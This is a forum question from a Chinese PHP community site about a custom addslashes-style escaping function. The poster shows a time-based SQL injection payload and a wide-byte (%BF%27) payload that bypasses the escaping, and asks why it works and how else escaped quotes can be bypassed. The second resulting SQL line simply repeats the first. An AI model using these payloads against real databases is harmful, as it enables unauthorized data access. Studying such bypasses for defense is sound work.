热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

SQL注入防御:深入解析绕过addslashes技术的方法与策略

代码:1234567function check_addslashes($string){    $string = preg_replace('/'. preg_quote('\') .'/', "

代码:



1
2
3
4
5
6
7
function check_addslashes($string)

{

    $string = preg_replace('/'. preg_quote('\') .'/', "\\\\\", $string);          //escape any backslash

    $string = preg_replace('/\'/i', '\\'', $string);                               //escape single quote with a backslash

    $string = preg_replace('/"/', "\\"", $string);                                //escape double quote with a backslash

    return $string;

}

程序中,对从客户端传递过来的参数都会使用check_addslashes函数对单引号和双引号进行转义
比如:
攻击者构造的payload:

1
id=1' and sleep(3) --+

最终的sql语句就变成了:




1
SELECT * FROM users WHERE id='1\' and sleep(3) -- ' LIMIT 0,1

问题:
对于此种类型的防注入,可以怎样bapass呢?
google了下,
可以这样构造payload:

1
id=1%BF%27 and sleep(3) --+

则最终的sql语句:

1
SELECT * FROM users WHERE id='1\' and sleep(3) -- ' LIMIT 0,1

试了下,果然可以成功执行了。
但具体原因没讲,不明白。
不知道有谁能帮忙指点下其中的原理吗?
另外,还有没有别的方法可以成功绕过被转义的单双引号呢?


   



推荐阅读
author-avatar
蓝色水气球_453
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有